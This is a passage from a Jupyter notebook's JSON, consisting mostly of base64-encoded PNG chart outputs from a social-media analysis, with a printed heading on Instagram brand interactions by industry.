X1e0l3p51Wp/SBJN0valF6XpPYrJf2jpFuAdcCZwMckbZR0nKQLJH0i9b21ZOwHJB2X2veW9N009jpJd0ra4THTkvYGPgicHRHPpLq3RsQFJX0+Lmlz+jl3Cu3nS+qX9DOgoaT9HEn3pXquncZxn5L2rv7nw2tUYXiE9q7+cm/KzCxzJptCvAn4lKQHgJ8B6yLitpLPn4yIoyS9F/gnimdrXwaujoirJL0fuARoSf0PAU6MiJGxU3GS3jy2tjT2W4FPAycC/wv4Q0S8VtLhwMZxan4V8B8RsXW8HZK0HDgDeB0g4E5Jt1EM84naTwGa0vG6G+hJw50HvCKdndZOsL3VwGqAJUuWjNdlQluGCtNqNzOrJjs9A4uIbcByir+AB4F1kk4v6fKdktej0/LRwLfT8reAY0v6fy8idjylmFhHeu0BlqblY4FrU22bgU2TDSLpjHSW93tJB6YxfhART6X96wCO20n7can96Yh4Eri+ZPhNwDWS3gM8O972I2JtROQjIr948eIp7npRXW1uWu1mZtVk0rsQI2IkIm6NiE8DZwF/XfrxBMtM0P7UBH3Gsz29jvBfZ4qawnr/BixJ172IiG9GxDLgCaBmJ2PsbOyJ9u0vga9QDPmedG2vbFqbG8gtqNmhLbeghtbmhgnWMDOrHjsNMEkNkg4uaVoGPFTyflXJ6x1peT3FKTeA04BfTjD8VmDRdIpNY70r1XYY0Di2Q0Q8DXwD+LKkvVLfGv7r5pPbgZZ0PW0f4CTgF5O0nyQpl0Lxr9KYewAHRsQtwP8BaoGF09yfnWppqqdtZSP1tTkE1NfmaFvZ6Bs4zMyY/BrYQuDSdH3nWYpnN6tLPn+xpDspBuGpqe0c4ApJrRSnHc+YYOwfAd+X9A7g7CnWexlwlaRNQC/FKbwnxul3PvD3wGZJW4ECcBWwJSIelHQlcFfqe3lE9ELxRpMJ2tdRvN72EMVQg+LZ3L9K2pfi2duXImJoivsxZS1N9Q4sM7NxKGKi2bFJVpQeBPIR8VhZK9r5NmuABenW+FcCNwOHRMQfZ6uGmcjn89Hd3V3pMszMMkVST0Tkx7aX9ZrNLNgbuEXSAopnPR/OSniZmVl57XKARcTSMtYx1W1uBV6QwmZmVn38txDNzCyTHGBmZpZJDjAzM8skB5iZmWWSA8zMzDLJAWZmZpnkADMzs0xygJmZWSY5wMzMLJMcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmZSp54FJOh94NzACPAd8KCLunOGYnwVuj4iflaHEWdPZO0B7Vz9bhgrU1eZobW7wk5vNrKpkJsAkHQ28DTgyIrZL2h940RTX3TMinh3vs4j4VBnLnBWdvQOs6eijMDwCwMBQgTUdfQAOMTOrGlmaQjwAeCwitgNExGMRsUXSckm3SeqR1CXpAABJt0r6B0m3AedLelDSHumzvSX9XtICSVdKOjm1r5C0XtI9ku6StEhSjaR2SRskbZL0odT3AEm3S9ooabOk42brQLR39T8fXqMKwyO0d/XPVglmZhWXpQC7CThQ0gOSLpP0RkkLgEuBkyNiOXAFcGHJOrUR8caI+AxwD/DG1P5XQFdEDI92lPQiYB3w0Yg4AjgRKAAfAJ6IiBXACuCDkl5BcSqzKyKWAUcAG8crWtJqSd2SugcHB8tyILYMFabVbmY2H2VmCjEitklaDhwHnEAxbD4HHA78VBJADfBwyWrrxiyvAm4BTgEuG7OJBuDhiNiQtvckgKS3AK8dPUsD9gUOBjYAV6QQ7YyIjRPUvRZYC5DP52PaOz6OutocA+OEVV1trhzDm5llQmYCDCAiRoBbgVsl9QEfAe6NiKMnWOWpkuXrgTZJ+wHLgZ+P6StgvIARcHZEdL3gA+kNwF8C35LUHhFXT2d/dlVrc8MO18AAcgtqaG1umI3Nm5nNCZmZQpTUIOngkqZlwP3A4nSDB+ma1mvGWz8itgF3Af8M3JDCsNSvgTpJK9JYiyTtCXQBH05nWkg6RNI+kg4CHo2IrwPfAI4s175OpqWpnraVjdTX5hBQX5ujbWWjb+Aws6qSpTOwhcClkmqBZ4F/A1ZTnJ67RNK+FPfnn4B7JxhjHfA94PixH0TEHyWtStvIUbz+dSJwObAUuFvFecpBoCWN0SppGNgGvHfmuzh1LU31Diwzq2qKKMtlGZuCfD4f3d3dlS7DzCxTJPVERH5se2amEM3MzEo5wMzMLJMcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmeQAMzOzTHKAmZlZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZVLEAkzQiaWPJz3mp/VZJL3juyxTGWybprWWsr07S98s13lzQ2TvAMRf9nFec92OOuejndPYOVLokM7NdVsknMhciYlkZx1sG5IGfjP1A0p4R8ex0BouILcDJ5Smt8jp7B1jT0UdheASAgaECazr6APxkZzPLpDk9hSjpLZLukHS3pO9JWpjaV0haL+keSXdJ2hf4LLAqnc2tknSBpLWSbgKulnSQpJslbUqvS9JYV0q6JI33W0knp/alkjan5RpJF0vqS+ufndovknRfaru4Igdpitq7+p8Pr1GF4RHau/orVJGZ2cxU8gwsJ2ljyfu2iFg3+kbS/sAngRMj4ilJfwN8XNJFwDpgVURskPQS4GngU0A+Is5K618ALAeOjYiCpB8BV0fEVZLeD1wCtKTNHQAcCxwKXA+MnTpcDbwCaIqIZyXtJ2k/4CTg0IgISbXj7aSk1Wl9lixZMu2DVC5bhgrTajczm+vm8hTinwGHAf9PEsCLgDuABuDhiNgAEBFPAqQ+Y10fEaO/oY8GVqblbwFfKOnXGRHPAfdJevk445wIfG10GjIiHpe0J/AMcLmkHwM3jFdARKwF1gLk8/nYyf7uVnW1OQbGCau62lwFqjEzm7m5PIUo4KcRsSz9HBYRH0jtUw2Cp3byWekY28dsd7xadthmCrOjgOsonsndOMWaKqK1uYHcgpod2nILamhtbqhQRWZmMzOXA+xXwDGSXgUgaW9JhwC/BuokrUjti9LZ0FZg0U7GWw+ckpZPA345jVpuAs5M2yFNIS4E9o2InwDnUryJZM5qaaqnbWUj9bU5BNTX5mhb2egbOMwss+bSNbAbI+K80TcRMSjpdOA7kl6cmj8ZEQ9IWgVcKikHFChO8d0CnJfGbBtne+cAV0hqBQaBM6ZR6+XAIcAmScPA1ymeef1Q0l4Uz9A+No3xKqKlqd6BZWbzhiIqdlmm6uTz+eju7q50GWZmmSKpJyJe8O+D5/IUopmZ2YQcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmeQAMzOzTHKAmZlZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZ5AAzM7NMcoCZmVkmVfKJzLNG0gjQR3F/fwf8j4gY2kn/FuCBiLhvknHPBJ6OiKslXQncEBHfL1fdNnOdvQO0d/WzZahAXW2O1uYGP5XabJ6oljOwQkQsi4jDgceBj0zSvwU4bLJBI+JrEXF1Geqz3aCzd4A1HX0MDBUIYGCowJqOPjp7BypdmpmVQbUEWKk7gHoASa+UdKOkHkm/kHSopNcDbwfaJW1MfT4oaYOkeyRdJ2nvtP4Fkj5RwX2xnWjv6qcwPLJDW2F4hPau/gpVZGblVFUBJqkGeDNwfWpaC5wdEcuBTwCXRcT69HlrOmv7d6AjIlZExBHA/cAHprHN1ZK6JXUPDg6WdX9s57YMFabVbmbZUhXXwICcpI3AUqAH+KmkhcDrge9JGu334gnWP1zS54BaYCHQNdUNR8RaikFJPp+PXajddlFdbY6BccKqrjZXgWrMrNyq5QysEBHLgIOAF1G8BrYHMJTOskZ/Xj3B+lcCZ0VEI/AZYK9ZqNlmqLW5gdyCmh3acgtqaG1uqFBFZlZO1RJgAETEE8A5FKcLC8DvJL0TQEVHpK5bgUUlqy4CHpa0ADhtFku2GWhpqqdtZSP1tTkE1NfmaFvZ6LsQzeaJaplCfF5E9Eq6BziFYhh9VdIngQXAtcA96fXrks4BTgb+DrgTeIji7fiLxhvb5p6WpnoHltk8pQhflpkt+Xw+uru7K12GmVmmSOqJiPzY9qqaQjQzs/nDAWZmZpnkADMzs0xygJmZWSY5wMzMLJMcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmeQAMzOzTHKAmZlZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllUlUHmKSTJIWkQ6fQ91xJe89GXbZ7dPYOcMxFP+cV5/2YYy76OZ29A5UuycxmoKoDDDgV+CVwyhT6ngs4wDKqs3eANR19DAwVCGBgqMCajj6HmFmGVW2ASVoIHAN8gBRgko6XdENJny9LOl3SOUAdcIukW9Jnp0rqk7RZ0ucrsAs2De1d/RSGR3ZoKwyP0N7VX6GKzGymqjbAgBbgxoh4AHhc0pETdYyIS4AtwAkRcYKkOuDzwJuAZcAKSS3jrStptaRuSd2Dg4Nl3gWbqi1DhWm1m9ncV80BdipwbVq+Nr2fqhXArRExGBHPAtcAbxivY0SsjYh8ROQXL148o4Jt19XV5qbVbmZzX1UGmKSXUjx7ulzSg0ArsAoYYcdjstdEQ+zWAq3sWpsbyC2o2aEtt6CG1uaGClVkZjNVlQEGnAxcHREHRcTSiDgQ+F367DBJL5a0L/DmknW2AovS8p3AGyXtL6mG4tnbbbNVvE1fS1M9bSsbqa/NIaC+NkfbykZamuorXZqZ7aI9K11AhZwKXDSm7Trg3cB3gU3Ab4Deks/XAv9X0sPpOtga4BaKZ2M/iYgf7v6ybSZamuodWGbziCKi0jVUjXw+H93d3ZUuw8wsUyT1RER+bHu1TiGamVnGOcDMzCyTHGBmZpZJDjAzM8skB5iZmWWSA8zMzDLJAWZmZpnkADMzs0xygJmZWSY5wMzMLJMcYGZmlkkOMDMzyyQHmJmZZZIDzMzMMskBZmZmmTRvHmgpaQToo/iAyRHgrIhYX+ZttAAPRMR95RzX5ofO3gHau/rZMlSgrjZHa3ODH6BpthvNpzOwQkQsi4gjgDVA227YRgtw2G4Y1zKus3eANR19DAwVCGBgqMCajj46ewcqXZrZvDWfAqzUS4A/jL6R1Cppg6RNkj5T0t4pqUfSvZJWl7RvK1k+WdKVkl4PvB1ol7RR0isl3V3S72BJPbt9z2xOau/qpzA8skNbYXiE9q7+ClVkNv/NmylEICdpI7AXcADwJgBJbwEOBo6iOL14vaQ3RMTtwPsj4nFJOWCDpOsi4j/HGzwi1ku6HrghIr6fxn5C0rKI2AicAVw5dr0UjKsBlixZUs79tTlky1BhWu1mNnPz6QxsdArxUODPgaslCXhL+ukF7gYOpRhoAOdIugf4FXBgSftUXQ6cIakGWAV8e2yHiFgbEfmIyC9evHhX9ssyoK42N612M5u5+RRgz4uIO4D9gcUUz7raUrgti4hXRcQ3JB0PnAgcna6b9VI8ewOIkuH2YmLXAX8BvA3omejszea/1uYGcgtqdmjLLaihtbmhQhWZzX/zMsAkHQrUAP8JdAHvl7QwfVYv6WXAvsAfIuLp1P/PSoZ4RNKrJe0BnFTSvhVYNPomIp5J438V+Obu3Ceb21qa6mlb2Uh9bQ4B9bU52lY2+i5Es91oPl4Dg+JZ1/siYgS4SdKrgTuKM4psA94D3AicKWkT0E9xGnHUecANwO+BzcDC1H4t8HVJ5wAnR8S/A9cAK4GbduO+WQa0NNU7sMxmkSJi8l42IUmfAPaNiL+brG8+n4/u7u5ZqMrMbP6Q1BMR+bHt8+kMbNZJ+gHwStIdj2ZmNnscYDMQESdN3svMzHaHeXkTh5mZzX8OMDMzyyQHmJmZZZIDzMzMMskBZmZmmeQAMzOzTHKAmZlZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZ5AAzM7NMmrXHqUgaAfpKmq6NiItma/tmZpXQ2TtAe1c/W4YK1NXmaG1u8JO7y2Q2nwdWiIhls7i9spBUExEjla7DzLKns3eANR19FIaLv0IGhgqs6Sj+f7xDbOYqPoUoaYWk9ZLukXSXpEWS9pL0TUl9knolnZD6ni6pU9KPJP1O0lmSPp76/ErSfqnfrZK+JOl2SfenbXRI+o2kz5Vs+z1pmxsl/YukmtS+TdJnJd0JHC3pvZI2pRq/lfoslnSdpA3p55gKHD4zm8Pau/qfD69RheER2rv6K1TR/DKbAZZLQTH6s0rSi4B1wEcj4gjgRKAAfAQgIhqBU4GrJO2VxjkceDdwFHAh8HRENAF3AO8t2d4fI+INwNeAH6YxDwdOl/RSSa8GVgHHpDPDEeC0tO4+wOaIeB3wB+B84E2pxo+mPv8MfCkiVgB/DVw+3k5LWi2pW1L34ODgLh46M8uiLUOFabXb9FR0ClFSI/BwRGwAiIgnU/uxwKWp7deSHgIOSavdEhFbga2SngB+lNr7gNeWDH99Sfu9EfFwGvu3wIHAscByYIMkgBzwaFpnBLguLb8J+H5EPJbqeTy1nwgcltYFeImkRam250XEWmAtQD6fj8kPk5nNF3W1OQbGCau62lwFqpl/ZjPAxiNgvF/qGqdt1PaS5edK3j/HjvuzfZw+pf0EXBURa8bZxjMl170mqnEP4OiI8P9Kmdm4WpsbdrgGBpBbUENrc0MFq5o/Kn0N7NdAnaQVAOn6157A7aTpPEmHAEuAck8a3wycLOllaTv7STpogn7vkvTS0X6p/SbgrNFOkpaVuT4zy7iWpnraVjZSX5tDQH1tjraVjb6Bo0xm8wwsJ2ljyfsbI+I8SauASyXlKF7/OhG4DPiapD7gWeD0iNheMl03YxFxn6RPAjdJ2gMYpnid7KEx/e6VdCFwW/qnAL3A6cA5wFckbaJ4HG8HzixbgWY2L7Q01TuwdhNF+LLMbMnn89Hd3V3pMszMMkVST0Tkx7ZXegrRzMxslzjAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZ5AAzM7NMcoCZmVkmOcDMzCyTHGBmZpZJDjAzM8skB5iZmWWSA8zMzDLJAWZmZpnkADMzs0yazScyl116QnJfSVNLRDw4jfUfBPIR8diY9rcDh0XEReWo08ysGnX2DtDe1c+WoQJ1tTlamxvK+nTqTAcYUIiIZeUeNCKuB64v97hmZtWis3eANR19FIZHABgYKrCmo3i+Ua4Qm1dTiJIWSrpZ0t2S+iS9I7XvI+nHku6RtFnSqpLVzi7pf2jqf7qkL6flg9KYm9LrktR+paRLJK2X9FtJJ8/6DpuZzVHtXf3Ph9eowvAI7V39ZdtG1gMsJ2lj+vkB8AxwUkQcCZwAfFGSgD8HtkTEERFxOHBjyRiPpf5fBT4xzja+DFwdEa8FrgEuKfnsAOBY4G3AuNONklZL6pbUPTg4OLO9NTPLiC1DhWm174qsB1ghIpaln5MAAf8gaRPwM6AeeDnF62QnSvq8pOMi4omSMTrSaw+wdJxtHA18Oy1/i2JgjeqMiOci4r60nReIiLURkY+I/OLFi3dxN83MsqWuNjet9l2R9QAb6zRgMbA8XRt7BNgrIh4AllMMsjZJnypZZ3t6HWFq1wRjnHWhGJ5mZga0NjeQW1CzQ1tuQQ2tzQ1l28Z8C7B9gUcjYljSCcBBAJLqgKcj4l+Bi4EjpzHmeuCUtHwa8Msy1mtmNi+1NNXTtrKR+tocAuprc7StbPRdiDtxDfAjSd3ARuDXqb0RaJf0HDAMfHgaY54DXCGpFRgEzihfuWZm81dLU31ZA2ssRcTkvaws8vl8dHd3V7oMM7NMkdQTEfmx7fNtCtHMzKqEA8zMzDLJAWZmZpnkADMzs0zyTRyzSNIg8FCl6wD2Bx6btFf18vGZnI/Rzvn4TG46x+igiHjBX4JwgFUhSd3j3dFjRT4+k/Mx2jkfn8mV4xh5CtHMzDLJAWZmZpnkAKtOaytdwBzn4zM5H6Od8/GZ3IyPka+BmZlZJvkMzMzMMskBZmZmmeQAqzKSHpTUl55iXfV/WVjSFZIelbS5pG0/ST+V9Jv0+ieVrLHSJjhGF0gaKHki+lsrWWMlSTpQ0i2S7pd0r6SPpnZ/j9jp8Znxd8jXwKqMpAeBfET4H1kCkt4AbAOujojDU9sXgMcj4iJJ5wF/EhF/U8k6K2mCY3QBsC0iLq5kbXOBpAOAAyLibkmLKD7dvQU4HX+PdnZ83sUMv0M+A7OqFhG3A4+PaX4HcFVavorif2xVa4JjZElEPBwRd6flrcD9QD3+HgE7PT4z5gCrPgHcJKlH0upKFzNHvTwiHobif3zAyypcz1x1lqRNaYqxKqfHxpK0FGgC7sTfoxcYc3xght8hB1j1OSYijgT+AvhImh4ym66vAq8ElgEPA1+saDVzgKSFwHXAuRHxZKXrmWvGOT4z/g45wKpMRGxJr48CPwCOqmxFc9Ijad5+dP7+0QrXM+dExCMRMRIRzwFfp8q/R5IWUPzlfE1EdKRmf4+S8Y5POb5DDrAqImmfdBEVSfsAbwE273ytqnQ98L60/D7ghxWsZU4a/cWcnEQVf48kCfgGcH9E/GPJR/4eMfHxKcd3yHchVhFJf0rxrAtgT+DbEXFhBUuqOEnfAY6n+GiHR4BPA53Ad4ElwH8A74yIqr2JYYJjdDzFqZ8AHgQ+NHq9p9pIOhb4BdAHPJea/5bidZ6q/x7t5Picygy/Qw4wMzPLJE8hmplZJjnAzMwskxxgZmaWSQ4wMzPLJAeYmZllkgPMzMwyyQFmZmaZ9P8BwDjG/1/rUXMAAAAASUVORK5CYII=\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram brand interactions by industry\n", + "_________________________________________________________________________________________________________________________\n" + ] + }, + { + "data": { + "image/png": "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